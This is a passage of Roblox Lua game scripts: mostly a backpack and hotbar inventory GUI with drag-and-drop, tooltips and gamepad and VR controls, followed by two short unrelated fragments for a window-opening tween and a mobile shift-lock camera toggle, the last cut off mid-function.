ScrollingFrame.ScrollBarThickness + 1, 1, -INVENTORY_HEADER_SIZE - (IsVR and 2*INVENTORY_ARROWS_BUFFER_VR or 0)) ScrollingFrame.Position = UDim2.new(0, 0, 0, INVENTORY_HEADER_SIZE + (IsVR and INVENTORY_ARROWS_BUFFER_VR or 0)) AdjustHotbarFrames() AdjustInventoryFrames() end local function Clamp(low, high, num) return math.min(high, math.max(low, num)) end local function CheckBounds(guiObject, x, y) local pos = guiObject.AbsolutePosition local size = guiObject.AbsoluteSize return (x > pos.X and x <= pos.X + size.X and y > pos.Y and y <= pos.Y + size.Y) end local function GetOffset(guiObject, point) local centerPoint = guiObject.AbsolutePosition + (guiObject.AbsoluteSize / 2) return (centerPoint - point).magnitude end local function UnequipAllTools() --NOTE: HopperBin if Humanoid then Humanoid:UnequipTools() end end local function EquipNewTool(tool) --NOTE: HopperBin UnequipAllTools() --Humanoid:EquipTool(tool) --NOTE: This would also unequip current Tool tool.Parent = Character --TODO: Switch back to above line after EquipTool is fixed! end local function IsEquipped(tool) return tool and tool.Parent == Character --NOTE: HopperBin end local function MakeSlot(parent, index) index = index or (#Slots + 1) -- Slot Definition -- local slot = {} slot.Tool = nil slot.Index = index slot.Frame = nil local LocalizedName = nil --remove with FFlagCoreScriptTranslateGameText2 local LocalizedToolTip = nil --remove with FFlagCoreScriptTranslateGameText2 local SlotFrameParent = nil local SlotFrame = nil local FakeSlotFrame = nil local ToolIcon = nil local ToolName = nil local ToolChangeConn = nil local HighlightFrame = nil local SelectionObj = nil --NOTE: The following are only defined for Hotbar Slots local ToolTip = nil local SlotNumber = nil -- Slot Functions -- local function UpdateSlotFading() if VRService.VREnabled and BackpackPanel then local panelTransparency = BackpackPanel.transparency local slotTransparency = SLOT_FADE_LOCKED -- This equation multiplies the two transparencies together. local finalTransparency = panelTransparency + slotTransparency - panelTransparency * slotTransparency SlotFrame.BackgroundTransparency = finalTransparency SlotFrame.TextTransparency = finalTransparency if ToolIcon then ToolIcon.ImageTransparency = InventoryFrame.Visible and 0 or panelTransparency end if HighlightFrame then for _, child in pairs(HighlightFrame:GetChildren()) do child.BackgroundTransparency = finalTransparency end end SlotFrame.SelectionImageObject = SelectionObj else SlotFrame.SelectionImageObject = nil SlotFrame.BackgroundTransparency = (SlotFrame.Draggable) and SLOT_DRAGGABLE_TRANSPARENCY or SLOT_FADE_LOCKED end SlotFrame.BackgroundColor3 = (SlotFrame.Draggable) and SLOT_DRAGGABLE_COLOR or BACKGROUND_COLOR if SlotFrame:FindFirstChild("Equipped") then SlotFrame.BackgroundColor3 = Color3.fromRGB(105, 105, 105) end end function slot:Readjust(visualIndex, visualTotal) --NOTE: Only used for Hotbar slots local centered = HotbarFrame.Size.X.Offset / 2 local sizePlus = ICON_BUFFER + ICON_SIZE local midpointish = (visualTotal / 2) + 0.5 local factor = visualIndex - midpointish SlotFrame.Position = UDim2.new(0, centered - (ICON_SIZE / 2) + (sizePlus * factor), 0, ICON_BUFFER) end function slot:Fill(tool) if not tool then return self:Clear() end self.Tool = tool local function assignToolData() if FFlagCoreScriptTranslateGameText2 then local icon = tool.TextureId ToolIcon.Image = icon if icon ~= "" then ToolName.Visible = false end ToolName.Text = tool.Name if ToolTip and tool:IsA('Tool') then --NOTE: HopperBin ToolTip.Text = tool.ToolTip local width = ToolTip.TextBounds.X + TOOLTIP_BUFFER ToolTip.Size = UDim2.new(0, width, 0, TOOLTIP_HEIGHT) ToolTip.Position = UDim2.new(0.5, -width / 2, 0, TOOLTIP_OFFSET) end else LocalizedName = tool.Name LocalizedToolTip = nil local icon = tool.TextureId ToolIcon.Image = icon ToolIcon.AnchorPoint = Vector2.new(0.5,0.5) ToolIcon.Position = UDim2.fromScale(0.5, 0.5) if icon ~= '' then ToolName.Text = LocalizedName else ToolName.Text = "" end -- (Only show name if no icon) if ToolTip and tool:IsA('Tool') then --NOTE: HopperBin LocalizedToolTip = GameTranslator:TranslateGameText(tool, tool.ToolTip) ToolTip.Text = tool.ToolTip local width = ToolTip.TextBounds.X + TOOLTIP_BUFFER ToolTip.Size = UDim2.new(0, width, 0, TOOLTIP_HEIGHT) ToolTip.Position = UDim2.new(0.5, -width / 2, 0, TOOLTIP_OFFSET) end end end assignToolData() if ToolChangeConn then ToolChangeConn:disconnect() ToolChangeConn = nil end ToolChangeConn = tool.Changed:connect(function(property) if property == 'TextureId' or property == 'Name' or property == 'ToolTip' then assignToolData() end end) local hotbarSlot = (self.Index <= NumberOfHotbarSlots) local inventoryOpen = InventoryFrame.Visible if (not hotbarSlot or inventoryOpen) and not UserInputService.VREnabled then SlotFrame.Draggable = true end self:UpdateEquipView() if hotbarSlot then FullHotbarSlots = FullHotbarSlots + 1 -- If using a controller, determine whether or not we can enable BindCoreAction("RBXHotbarEquip", etc) if WholeThingEnabled then if FullHotbarSlots >= 1 and not GamepadActionsBound then -- Player added first item to a hotbar slot, enable BindCoreAction GamepadActionsBound = true ContextActionService:BindAction("RBXHotbarEquip", changeToolFunc, false, Enum.KeyCode.ButtonL1, Enum.KeyCode.ButtonR1) end end end SlotsByTool[tool] = self LowestEmptySlot = FindLowestEmpty() end function slot:Clear() if not self.Tool then return end if ToolChangeConn then ToolChangeConn:disconnect() ToolChangeConn = nil end ToolIcon.Image = '' ToolName.Text = '' if ToolTip then ToolTip.Text = '' ToolTip.Visible = false end SlotFrame.Draggable = false self:UpdateEquipView(true) -- Show as unequipped if self.Index <= NumberOfHotbarSlots then FullHotbarSlots = FullHotbarSlots - 1 if FullHotbarSlots < 1 then -- Player removed last item from hotbar; UnbindCoreAction("RBXHotbarEquip"), allowing the developer to use LB and RB. GamepadActionsBound = false ContextActionService:UnbindAction("RBXHotbarEquip") end end SlotsByTool[self.Tool] = nil self.Tool = nil LowestEmptySlot = FindLowestEmpty() end function slot:UpdateEquipView(unequippedOverride) if not unequippedOverride and IsEquipped(self.Tool) then -- Equipped lastEquippedSlot = slot if not HighlightFrame then HighlightFrame = NewGui('Frame', 'Equipped') HighlightFrame.ZIndex = SlotFrame.ZIndex local ring = script.Cover:Clone() ring.Parent = HighlightFrame local t = SLOT_EQUIP_THICKNESS local dataTable = { -- Relative sizes and positions {t, 1, 0, 0}, {1 - 2*t, t, t, 0}, {t, 1, 1 - t, 0}, {1 - 2*t, t, t, 1 - t}, } for _, data in pairs(dataTable) do local edgeFrame = NewGui("Frame", "Edge") edgeFrame.BackgroundTransparency = 1 edgeFrame.BackgroundColor3 = SLOT_EQUIP_COLOR edgeFrame.Size = UDim2.new(data[1], 0, data[2], 0) edgeFrame.Position = UDim2.new(data[3], 0, data[4], 0) edgeFrame.ZIndex = HighlightFrame.ZIndex edgeFrame.Parent = HighlightFrame end end HighlightFrame.Parent = SlotFrame else -- In the Backpack if HighlightFrame then HighlightFrame.Parent = nil end end UpdateSlotFading() if not unequippedOverride and IsEquipped(self.Tool) then SlotFrame.BackgroundColor3 = Color3.fromRGB(105, 105, 105) else SlotFrame.BackgroundColor3 = Color3.fromRGB(31,31,31) end end function slot:IsEquipped() return IsEquipped(self.Tool) end function slot:Delete() SlotFrame:Destroy() --NOTE: Also clears connections table.remove(Slots, self.Index) local newSize = #Slots -- Now adjust the rest (both visually and representationally) for i = self.Index, newSize do Slots[i]:SlideBack() end UpdateScrollingFrameCanvasSize() end function slot:Swap(targetSlot) --NOTE: This slot (self) must not be empty! local myTool, otherTool = self.Tool, targetSlot.Tool self:Clear() if otherTool then -- (Target slot might be empty) targetSlot:Clear() self:Fill(otherTool) end if myTool then targetSlot:Fill(myTool) else targetSlot:Clear() end end function slot:SlideBack() -- For inventory slot shifting self.Index = self.Index - 1 SlotFrame.Name = self.Index SlotFrame.LayoutOrder = self.Index end function slot:TurnNumber(on) if SlotNumber then SlotNumber.Visible = on end end function slot:SetClickability(on) -- (Happens on open/close arrow) if self.Tool then if UserInputService.VREnabled then SlotFrame.Draggable = false else SlotFrame.Draggable = not on end UpdateSlotFading() end end function slot:CheckTerms(terms) local hits = 0 local function checkEm(str, term) local _, n = str:lower():gsub(term, '') hits = hits + n end local tool = self.Tool if tool then for term in pairs(terms) do if FFlagCoreScriptTranslateGameText2 then checkEm(ToolName.Text, term) if tool:IsA('Tool') then --NOTE: HopperBin local toolTipText = ToolTip and ToolTip.Text or "" checkEm(toolTipText, term) end else checkEm(LocalizedName, term) if tool:IsA('Tool') then --NOTE: HopperBin checkEm(LocalizedToolTip, term) end end end end return hits end -- Slot select logic, activated by clicking or pressing hotkey function slot:Select() local tool = slot.Tool if tool then if IsEquipped(tool) then --NOTE: HopperBin UnequipAllTools() elseif tool.Parent == Backpack then EquipNewTool(tool) end end end -- Slot Init Logic -- SlotFrame = NewGui('TextButton', index) SlotFrame.BackgroundColor3 = BACKGROUND_COLOR SlotFrame.BorderColor3 = SLOT_BORDER_COLOR SlotFrame.Text = "" SlotFrame.AutoButtonColor = false SlotFrame.BorderSizePixel = 0 SlotFrame.Size = UDim2.new(0, ICON_SIZE, 0, ICON_SIZE) SlotFrame.Active = true SlotFrame.Draggable = false SlotFrame.BackgroundTransparency = SLOT_FADE_LOCKED SlotFrame.MouseButton1Click:connect(function() changeSlot(slot) end) local slotFrameUIC = Instance.new("UICorner") slotFrameUIC.CornerRadius = UDim.new(1, 0) slotFrameUIC.Parent = SlotFrame local slotFrameStroke = Instance.new("UIStroke") slotFrameStroke.Transparency = 0.9 slotFrameStroke.Thickness = 2 slotFrameStroke.Parent = SlotFrame slot.Frame = SlotFrame do local selectionObjectClipper = NewGui('Frame', 'SelectionObjectClipper') selectionObjectClipper.Visible = false selectionObjectClipper.Parent = SlotFrame SelectionObj = NewGui('ImageLabel', 'Selector') SelectionObj.Size = UDim2.new(1, 0, 1, 0) SelectionObj.Image = "rbxasset://textures/ui/Keyboard/key_selection_9slice.png" SelectionObj.ScaleType = Enum.ScaleType.Slice SelectionObj.SliceCenter = Rect.new(12,12,52,52) SelectionObj.Parent = selectionObjectClipper end ToolIcon = NewGui('ImageLabel', 'Icon') ToolIcon.AnchorPoint = Vector2.new(0.5, 0.5) ToolIcon.Size = UDim2.new(1, 0, 1, 0) ToolIcon.Position = UDim2.new(0.5, 0, 0.5, 0) ToolIcon.Parent = SlotFrame ToolName = NewGui('TextLabel', 'ToolName') ToolName.AnchorPoint = Vector2.new(0.5, 0.5) ToolName.Size = UDim2.new(0.9, 0, 1, 0) ToolName.Position = UDim2.new(0.5, 0, 0.5, 0) ToolName.Font = Enum.Font.JosefinSans ToolName.Parent = SlotFrame slot.Frame.LayoutOrder = slot.Index if index <= NumberOfHotbarSlots then -- Hotbar-Specific Slot Stuff -- ToolTip stuff ToolTip = NewGui('TextLabel', 'ToolTip') ToolTip.ZIndex = 2 ToolTip.TextWrapped = false ToolTip.TextYAlignment = Enum.TextYAlignment.Top ToolTip.BackgroundColor3 = Color3.new(0.4, 0.4, 0.4) ToolTip.BackgroundTransparency = 1 ToolTip.Font = Enum.Font.Oswald ToolTip.Visible = false ToolTip.Parent = SlotFrame SlotFrame.MouseEnter:connect(function() if ToolTip.Text ~= '' then ToolTip.Visible = true end end) SlotFrame.MouseLeave:connect(function() ToolTip.Visible = false end) function slot:MoveToInventory() if slot.Index <= NumberOfHotbarSlots then -- From a Hotbar slot local tool = slot.Tool self:Clear() --NOTE: Order matters here local newSlot = MakeSlot(UIGridFrame) newSlot:Fill(tool) if IsEquipped(tool) then -- Also unequip it --NOTE: HopperBin UnequipAllTools() end -- Also hide the inventory slot if we're showing results right now if ViewingSearchResults then newSlot.Frame.Visible = false newSlot.Parent = InventoryFrame end end end -- Show label and assign hotkeys for 1-9 and 0 (zero is always last slot when > 10 total) if index < 10 or index == NumberOfHotbarSlots then -- NOTE: Hardcoded on purpose! local slotNum = (index < 10) and index or 0 SlotNumber = NewGui('TextLabel', 'Number') SlotNumber.Text = slotNum SlotNumber.TextScaled = true SlotNumber.Position = UDim2.new(0.325,0,0.75,0) SlotNumber.Font = Enum.Font.GothamMedium SlotNumber.Size = UDim2.new(0.4, 0, 0.2, 0) SlotNumber.Visible = false SlotNumber.Parent = SlotFrame HotkeyFns[ZERO_KEY_VALUE + slotNum] = slot.Select end end do -- Dragging Logic local startPoint = SlotFrame.Position local lastUpTime = 0 local startParent = nil SlotFrame.DragBegin:connect(function(dragPoint) Dragging[SlotFrame] = true startPoint = dragPoint SlotFrame.BorderSizePixel = 2 InventoryIcon:lock() -- Raise above other slots SlotFrame.ZIndex = 2 ToolIcon.ZIndex = 2 ToolName.ZIndex = 2 if FFlagRobloxGuiSiblingZindexs then SlotFrame.Parent.ZIndex = 2 end if SlotNumber then SlotNumber.ZIndex = 2 end if HighlightFrame then HighlightFrame.ZIndex = 2 for _, child in pairs(HighlightFrame:GetChildren()) do if not child:IsA("UICorner") then child.ZIndex = 2 end end end -- Circumvent the ScrollingFrame's ClipsDescendants property startParent = SlotFrame.Parent if startParent == UIGridFrame then local oldAbsolutPos = SlotFrame.AbsolutePosition local newPosition = UDim2.new(0, SlotFrame.AbsolutePosition.X - InventoryFrame.AbsolutePosition.X, 0, SlotFrame.AbsolutePosition.Y - InventoryFrame.AbsolutePosition.Y) SlotFrame.Parent = InventoryFrame SlotFrame.Position = newPosition FakeSlotFrame = NewGui('Frame', 'FakeSlot') FakeSlotFrame.LayoutOrder = SlotFrame.LayoutOrder local UIC = Instance.new("UICorner") UIC.CornerRadius = UDim.new(0.07, 0) UIC.Parent = FakeSlotFrame FakeSlotFrame.Size = SlotFrame.Size FakeSlotFrame.BackgroundTransparency = 1 FakeSlotFrame.Parent = UIGridFrame end end) SlotFrame.DragStopped:connect(function(x, y) if FakeSlotFrame then FakeSlotFrame:Destroy() end local now = tick() SlotFrame.Position = startPoint SlotFrame.Parent = startParent SlotFrame.BorderSizePixel = 0 InventoryIcon:unlock() -- Restore height SlotFrame.ZIndex = 1 ToolIcon.ZIndex = 1 ToolName.ZIndex = 1 if FFlagRobloxGuiSiblingZindexs then startParent.ZIndex = 1 end if SlotNumber then SlotNumber.ZIndex = 1 end if HighlightFrame then HighlightFrame.ZIndex = 1 for _, child in pairs(HighlightFrame:GetChildren()) do if not child:IsA("UICorner") then child.ZIndex = 1 end end end Dragging[SlotFrame] = nil -- Make sure the tool wasn't dropped if not slot.Tool then return end -- Check where we were dropped if CheckBounds(InventoryFrame, x, y) then if slot.Index <= NumberOfHotbarSlots then slot:MoveToInventory() end -- Check for double clicking on an inventory slot, to move into empty hotbar slot if slot.Index > NumberOfHotbarSlots and now - lastUpTime < DOUBLE_CLICK_TIME then if LowestEmptySlot then local myTool = slot.Tool slot:Clear() LowestEmptySlot:Fill(myTool) slot:Delete() end now = 0 -- Resets the timer end elseif CheckBounds(HotbarFrame, x, y) then local closest = {math.huge, nil} for i = 1, NumberOfHotbarSlots do local otherSlot = Slots[i] local offset = GetOffset(otherSlot.Frame, Vector2.new(x, y)) if offset < closest[1] then closest = {offset, otherSlot} end end local closestSlot = closest[2] if closestSlot ~= slot then slot:Swap(closestSlot) if slot.Index > NumberOfHotbarSlots then local tool = slot.Tool if not tool then -- Clean up after ourselves if we're an inventory slot that's now empty slot:Delete() else -- Moved inventory slot to hotbar slot, and gained a tool that needs to be unequipped if IsEquipped(tool) then --NOTE: HopperBin UnequipAllTools() end -- Also hide the inventory slot if we're showing results right now if ViewingSearchResults then slot.Frame.Visible = false slot.Frame.Parent = InventoryFrame end end end end else -- local tool = slot.Tool -- if tool.CanBeDropped then --TODO: HopperBins -- tool.Parent = workspace -- --TODO: Move away from character -- end if slot.Index <= NumberOfHotbarSlots then slot:MoveToInventory() --NOTE: Temporary end end lastUpTime = now end) end -- All ready! SlotFrame.Parent = parent Slots[index] = slot if index > NumberOfHotbarSlots then UpdateScrollingFrameCanvasSize() -- Scroll to new inventory slot, if we're open and not viewing search results if InventoryFrame.Visible and not ViewingSearchResults then local offset = ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y ScrollingFrame.CanvasPosition = Vector2.new(0, math.max(0, offset)) end end return slot end local function OnChildAdded(child) -- To Character or Backpack if not child:IsA('Tool') then --NOTE: HopperBin if child:IsA('Humanoid') and child.Parent == Character then Humanoid = child end return end local tool = child if tool.Parent == Character then ShowVRBackpackPopup() TimeOfLastToolChange = tick() end --TODO: Optimize / refactor / do something else if not StarterToolFound and tool.Parent == Character and not SlotsByTool[tool] then local starterGear = Player:FindFirstChild('StarterGear') if starterGear then if starterGear:FindFirstChild(tool.Name) then StarterToolFound = true local slot = LowestEmptySlot or MakeSlot(UIGridFrame) for i = slot.Index, 1, -1 do local curr = Slots[i] -- An empty slot, because above local pIndex = i - 1 if pIndex > 0 then local prev = Slots[pIndex] -- Guaranteed to be full, because above prev:Swap(curr) else curr:Fill(tool) end end -- Have to manually unequip a possibly equipped tool for _, child in pairs(Character:GetChildren()) do if child:IsA('Tool') and child ~= tool then child.Parent = Backpack end end AdjustHotbarFrames() return -- We're done here end end end -- The tool is either moving or new local slot = SlotsByTool[tool] if slot then slot:UpdateEquipView() else -- New! Put into lowest hotbar slot or new inventory slot slot = LowestEmptySlot or MakeSlot(UIGridFrame) slot:Fill(tool) if slot.Index <= NumberOfHotbarSlots and not InventoryFrame.Visible then AdjustHotbarFrames() end end end local function OnChildRemoved(child) -- From Character or Backpack if not child:IsA('Tool') then --NOTE: HopperBin return end local tool = child ShowVRBackpackPopup() TimeOfLastToolChange = tick() -- Ignore this event if we're just moving between the two local newParent = tool.Parent if newParent == Character or newParent == Backpack then return end local slot = SlotsByTool[tool] if slot then slot:Clear() if slot.Index > NumberOfHotbarSlots then -- Inventory slot slot:Delete() elseif not InventoryFrame.Visible then AdjustHotbarFrames() end end end local function OnCharacterAdded(character) -- First, clean up any old slots for i = #Slots, 1, -1 do local slot = Slots[i] if slot.Tool then slot:Clear() end if i > NumberOfHotbarSlots then slot:Delete() end end -- And any old Connections for _, conn in pairs(CharConns) do conn:Disconnect() end CharConns = {} -- Hook up the new character Character = character table.insert(CharConns, character.ChildRemoved:Connect(OnChildRemoved)) table.insert(CharConns, character.ChildAdded:Connect(OnChildAdded)) for _, child in pairs(character:GetChildren()) do OnChildAdded(child) end --NOTE: Humanoid is set inside OnChildAdded -- And the new backpack, when it gets here Backpack = Player:WaitForChild('Backpack') table.insert(CharConns, Backpack.ChildRemoved:Connect(OnChildRemoved)) table.insert(CharConns, Backpack.ChildAdded:Connect(OnChildAdded)) for _, child in pairs(Backpack:GetChildren()) do OnChildAdded(child) end AdjustHotbarFrames() end local function OnInputBegan(input, isProcessed) -- Pass through keyboard hotkeys when not typing into a TextBox and not disabled (except for the Drop key) if input.UserInputType == Enum.UserInputType.Keyboard and not TextBoxFocused and (WholeThingEnabled or input.KeyCode.Value == DROP_HOTKEY_VALUE) then local hotkeyBehavior = HotkeyFns[input.KeyCode.Value] if hotkeyBehavior then hotkeyBehavior(isProcessed) end end local inputType = input.UserInputType if not isProcessed then if inputType == Enum.UserInputType.MouseButton1 or inputType == Enum.UserInputType.Touch then if InventoryFrame.Visible then InventoryIcon:deselect() end end end end local function OnUISChanged(property) if property == 'KeyboardEnabled' or property == "VREnabled" then local on = UserInputService.KeyboardEnabled and not UserInputService.VREnabled for i = 1, NumberOfHotbarSlots do Slots[i]:TurnNumber(on) end end end local lastChangeToolInputObject = nil local lastChangeToolInputTime = nil local maxEquipDeltaTime = 0.06 local noOpFunc = function() end local selectDirection = Vector2.new(0,0) local hotbarVisible = false function unbindAllGamepadEquipActions() ContextActionService:UnbindAction("RBXBackpackHasGamepadFocus") ContextActionService:UnbindAction("RBXCloseInventory") end local function setHotbarVisibility(visible, isInventoryScreen) for i = 1, NumberOfHotbarSlots do local hotbarSlot = Slots[i] if hotbarSlot and hotbarSlot.Frame and (isInventoryScreen or hotbarSlot.Tool) then hotbarSlot.Frame.Visible = visible end end end local function getInputDirection(inputObject) local buttonModifier = 1 if inputObject.UserInputState == Enum.UserInputState.End then buttonModifier = -1 end if inputObject.KeyCode == Enum.KeyCode.Thumbstick1 then local magnitude = inputObject.Position.magnitude if magnitude > 0.98 then local normalizedVector = Vector2.new(inputObject.Position.x / magnitude, -inputObject.Position.y / magnitude) selectDirection = normalizedVector else selectDirection = Vector2.new(0,0) end elseif inputObject.KeyCode == Enum.KeyCode.DPadLeft then selectDirection = Vector2.new(selectDirection.x - 1 * buttonModifier, selectDirection.y) elseif inputObject.KeyCode == Enum.KeyCode.DPadRight then selectDirection = Vector2.new(selectDirection.x + 1 * buttonModifier, selectDirection.y) elseif inputObject.KeyCode == Enum.KeyCode.DPadUp then selectDirection = Vector2.new(selectDirection.x, selectDirection.y - 1 * buttonModifier) elseif inputObject.KeyCode == Enum.KeyCode.DPadDown then selectDirection = Vector2.new(selectDirection.x, selectDirection.y + 1 * buttonModifier) else selectDirection = Vector2.new(0,0) end return selectDirection end local selectToolExperiment = function(actionName, inputState, inputObject) local inputDirection = getInputDirection(inputObject) if inputDirection == Vector2.new(0,0) then return end local angle = math.atan2(inputDirection.y, inputDirection.x) - math.atan2(-1, 0) if angle < 0 then angle = angle + (math.pi * 2) end local quarterPi = (math.pi * 0.25) local index = (angle/quarterPi) + 1 index = math.floor(index + 0.5) -- round index to whole number if index > NumberOfHotbarSlots then index = 1 end if index > 0 then local selectedSlot = Slots[index] if selectedSlot and selectedSlot.Tool and not selectedSlot:IsEquipped() then selectedSlot:Select() end else UnequipAllTools() end end changeToolFunc = function(actionName, inputState, inputObject) if inputState ~= Enum.UserInputState.Begin then return end if lastChangeToolInputObject then if (lastChangeToolInputObject.KeyCode == Enum.KeyCode.ButtonR1 and inputObject.KeyCode == Enum.KeyCode.ButtonL1) or (lastChangeToolInputObject.KeyCode == Enum.KeyCode.ButtonL1 and inputObject.KeyCode == Enum.KeyCode.ButtonR1) then if (tick() - lastChangeToolInputTime) <= maxEquipDeltaTime then UnequipAllTools() lastChangeToolInputObject = inputObject lastChangeToolInputTime = tick() return end end end lastChangeToolInputObject = inputObject lastChangeToolInputTime = tick() delay(maxEquipDeltaTime, function() if lastChangeToolInputObject ~= inputObject then return end local moveDirection = 0 if (inputObject.KeyCode == Enum.KeyCode.ButtonL1) then moveDirection = -1 else moveDirection = 1 end for i = 1, NumberOfHotbarSlots do local hotbarSlot = Slots[i] if hotbarSlot:IsEquipped() then local newSlotPosition = moveDirection + i local hitEdge = false if newSlotPosition > NumberOfHotbarSlots then newSlotPosition = 1 hitEdge = true elseif newSlotPosition < 1 then newSlotPosition = NumberOfHotbarSlots hitEdge = true end local origNewSlotPos = newSlotPosition while not Slots[newSlotPosition].Tool do newSlotPosition = newSlotPosition + moveDirection if newSlotPosition == origNewSlotPos then return end if newSlotPosition > NumberOfHotbarSlots then newSlotPosition = 1 hitEdge = true elseif newSlotPosition < 1 then newSlotPosition = NumberOfHotbarSlots hitEdge = true end end if hitEdge then UnequipAllTools() lastEquippedSlot = nil else Slots[newSlotPosition]:Select() end return end end if lastEquippedSlot and lastEquippedSlot.Tool then lastEquippedSlot:Select() return end local startIndex = moveDirection == -1 and NumberOfHotbarSlots or 1 local endIndex = moveDirection == -1 and 1 or NumberOfHotbarSlots for i = startIndex, endIndex, moveDirection do if Slots[i].Tool then Slots[i]:Select() return end end end) end function getGamepadSwapSlot() for i = 1, #Slots do if Slots[i].Frame.BorderSizePixel > 0 then return Slots[i] end end end function changeSlot(slot) local swapInVr = not VRService.VREnabled or InventoryFrame.Visible if slot.Frame == GuiService.SelectedObject and swapInVr then local currentlySelectedSlot = getGamepadSwapSlot() if currentlySelectedSlot then currentlySelectedSlot.Frame.BorderSizePixel = 0 if currentlySelectedSlot ~= slot then slot:Swap(currentlySelectedSlot) VRInventorySelector.SelectionImageObject.Visible = false if slot.Index > NumberOfHotbarSlots and not slot.Tool then if GuiService.SelectedObject == slot.Frame then GuiService.SelectedObject = currentlySelectedSlot.Frame end slot:Delete() end if currentlySelectedSlot.Index > NumberOfHotbarSlots and not currentlySelectedSlot.Tool then if GuiService.SelectedObject == currentlySelectedSlot.Frame then GuiService.SelectedObject = slot.Frame end currentlySelectedSlot:Delete() end end else local startSize = slot.Frame.Size local startPosition = slot.Frame.Position slot.Frame:TweenSizeAndPosition(startSize + UDim2.new(0, 10, 0, 10), startPosition - UDim2.new(0, 5, 0, 5), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .1, true, function() slot.Frame:TweenSizeAndPosition(startSize, startPosition, Enum.EasingDirection.In, Enum.EasingStyle.Quad, .1, true) end) slot.Frame.BorderSizePixel = 3 VRInventorySelector.SelectionImageObject.Visible = true end else slot:Select() VRInventorySelector.SelectionImageObject.Visible = false end end function vrMoveSlotToInventory() if not VRService.VREnabled then return end local currentlySelectedSlot = getGamepadSwapSlot() if currentlySelectedSlot and currentlySelectedSlot.Tool then currentlySelectedSlot.Frame.BorderSizePixel = 0 currentlySelectedSlot:MoveToInventory() VRInventorySelector.SelectionImageObject.Visible = false end end function enableGamepadInventoryControl() local goBackOneLevel = function(actionName, inputState, inputObject) if inputState ~= Enum.UserInputState.Begin then return end local selectedSlot = getGamepadSwapSlot() if selectedSlot then local selectedSlot = getGamepadSwapSlot() if selectedSlot then selectedSlot.Frame.BorderSizePixel = 0 return end elseif InventoryFrame.Visible then InventoryIcon:deselect() end end ContextActionService:BindAction("RBXBackpackHasGamepadFocus", noOpFunc, false, Enum.UserInputType.Gamepad1) ContextActionService:BindAction("RBXCloseInventory", goBackOneLevel, false, Enum.KeyCode.ButtonB, Enum.KeyCode.ButtonStart) -- Gaze select will automatically select the object for us! if not UseGazeSelection() then GuiService.SelectedObject = HotbarFrame:FindFirstChild("1") end end function disableGamepadInventoryControl() unbindAllGamepadEquipActions() for i = 1, NumberOfHotbarSlots do local hotbarSlot = Slots[i] if hotbarSlot and hotbarSlot.Frame then hotbarSlot.Frame.BorderSizePixel = 0 end end if GuiService.SelectedObject and GuiService.SelectedObject:IsDescendantOf(MainFrame) then GuiService.SelectedObject = nil end end local function bindBackpackHotbarAction() if WholeThingEnabled and not GamepadActionsBound then GamepadActionsBound = true ContextActionService:BindAction("RBXHotbarEquip", changeToolFunc, false, Enum.KeyCode.ButtonL1, Enum.KeyCode.ButtonR1) end end local function unbindBackpackHotbarAction() disableGamepadInventoryControl() GamepadActionsBound = false ContextActionService:UnbindAction("RBXHotbarEquip") end function gamepadDisconnected() GamepadEnabled = false disableGamepadInventoryControl() end function gamepadConnected() GamepadEnabled = true GuiService:AddSelectionParent("RBXBackpackSelection", MainFrame) if FullHotbarSlots >= 1 then bindBackpackHotbarAction() end if InventoryFrame.Visible then enableGamepadInventoryControl() end end local function OnIconChanged(enabled) -- Check for enabling/disabling the whole thing enabled = enabled and StarterGui:GetCore("TopbarEnabled") InventoryIcon:setEnabled(enabled and not GuiService.MenuIsOpen) WholeThingEnabled = enabled MainFrame.Visible = enabled -- Eat/Release hotkeys (Doesn't affect UserInputService) for _, keyString in pairs(HotkeyStrings) do if enabled then --GuiService:AddKey(keyString) else --GuiService:RemoveKey(keyString) end end if enabled then if FullHotbarSlots >=1 then bindBackpackHotbarAction() end else unbindBackpackHotbarAction() end end local function MakeVRRoundButton(name, image) local newButton = NewGui('ImageButton', name) newButton.Size = UDim2.new(0, 40, 0, 40) newButton.Image = "rbxasset://textures/ui/Keyboard/close_button_background.png"; local buttonIcon = NewGui('ImageLabel', 'Icon') buttonIcon.Size = UDim2.new(0.5,0,0.5,0); buttonIcon.Position = UDim2.new(0.25,0,0.25,0); buttonIcon.Image = image; buttonIcon.Parent = newButton; local buttonSelectionObject = NewGui('ImageLabel', 'Selection') buttonSelectionObject.Size = UDim2.new(0.9,0,0.9,0); buttonSelectionObject.Position = UDim2.new(0.05,0,0.05,0); buttonSelectionObject.Image = "rbxasset://textures/ui/Keyboard/close_button_selection.png"; newButton.SelectionImageObject = buttonSelectionObject return newButton, buttonIcon, buttonSelectionObject end
-- Define the function to open or close the window with gene-alike effect
local function toggleWindow() if window.Visible then -- Close the window by tweening back to the button position and size window:TweenSizeAndPosition( UDim2.new(0, 0, 0, 0), UDim2.new(0, gClippslyButton.AbsolutePosition.X, 0, gClippslyButton.AbsolutePosition.Y), 'Out', 'Quad', 0.5, false, function() window.Visible = false end ) else -- Set the initial position of the window to be relative to the button local startPos = UDim2.new(0, gClippslyButton.AbsolutePosition.X, 0, gClippslyButton.AbsolutePosition.Y) window.Position = startPos -- Set the initial size of the window to be zero window.Size = UDim2.new(0, 0, 0, 0) -- Show the window and tween its position and size from the button position and size to its original position and size window.Visible = true window:TweenSizeAndPosition( UDim2.new(0.565, 0, 0.694, 0), UDim2.new(0.218, 0, 0.133, 0), 'Out', 'Quad', 0.5 ) end end
--Visiblity
uis = game:GetService("UserInputService") ismobile = uis.TouchEnabled button.Visible = ismobile local states = { OFF = "rbxasset://textures/ui/mouseLock_off@2x.png", ON = "rbxasset://textures/ui/mouseLock_on@2x.png" } local MAX_LENGTH = 900000 local active = false local ENABLED_OFFSET = CFrame.new(1.7, 0, 0) local DISABLED_OFFSET = CFrame.new(-1.7, 0, 0) local function UpdateImage(STATE) button.Image = states[STATE] end local function GetUpdatedCameraCFrame(ROOT, CAMERA) return CFrame.new(root.Position, Vector3.new(CAMERA.CFrame.LookVector.X * MAX_LENGTH, root.Position.Y, CAMERA.CFrame.LookVector.Z * MAX_LENGTH)) end local function EnableShiftlock() UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter humanoid.AutoRotate = false UpdateImage("ON") if humanoid:GetState() ~= Enum.HumanoidStateType.PlatformStanding and humanoid:GetState() ~= Enum.HumanoidStateType.Swimming and humanoid.Health > 0 and Settings.Downed.Value == false and Settings.Ragdoll.Value == false then root.CFrame = GetUpdatedCameraCFrame(root, camera) camera.CFrame = camera.CFrame * ENABLED_OFFSET else end 